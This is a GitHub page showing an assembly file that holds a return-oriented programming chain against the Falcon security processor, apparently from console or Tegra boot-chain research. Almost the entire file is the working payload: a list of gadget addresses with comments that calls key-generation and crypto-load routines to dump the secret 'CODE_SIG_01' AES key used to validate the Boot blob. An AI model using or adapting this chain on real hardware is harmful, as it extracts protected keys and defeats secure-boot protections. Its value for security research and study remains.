-
Notifications
You must be signed in to change notification settings - Fork 4
/
code_sig_01_rop.asm
72 lines (61 loc) · 1017 Bytes
/
code_sig_01_rop.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
//
// A ROP chain designed to dump the "CODE_SIG_01" AES key that is used to
// validate the Boot blob through an AES-CMAC operation.
//
// gen_usr_key(0, 0);
// crypto_load(4, 0x9A0);
//
// We're going to copy the resulting key to this address in Falcon DMem.
.equ #ROP_KEY_BUFFER 0x9A0
.size 0x998
.section #rop_payload 0x998
// mpopret $r0
.b32 0x53D
.b32 0
// mov $r10 0x0
// ret
.b32 0x5B4
// $r0 = 0
// $r10 = 0
// ------------------
// mov b32 $r11 $r0
// lcall #crypto_load
// mpopret $r0
.b32 0x6B1
.b32 0
// $r10 = 0
// $r11 = 0
// -----------------
// lbra #gen_usr_key
.b32 0x647
// mpopret $r0
.b32 0x53D
.b32 0x4
// $r0 = 4
// -------------------
// mov b32 $r10 $r0
// add $sp 0x4
// mpopaddret $r4 0x20
.b32 0x4EE
.b32 0
.b32 0
// mpopaddret sucks
.b32 0
.b32 0
.b32 0
.b32 0
.b32 0
.b32 0
.b32 0
.b32 0
.b32 0
.b32 0
.b32 0
.b32 0
// $r10 = 4
// $r11 = 9A0
// ------------------
// lbra #crypto_load
.b32 0x5BD
// We have everything we need. Return to No Secure Mode code.
.b32 #ret2win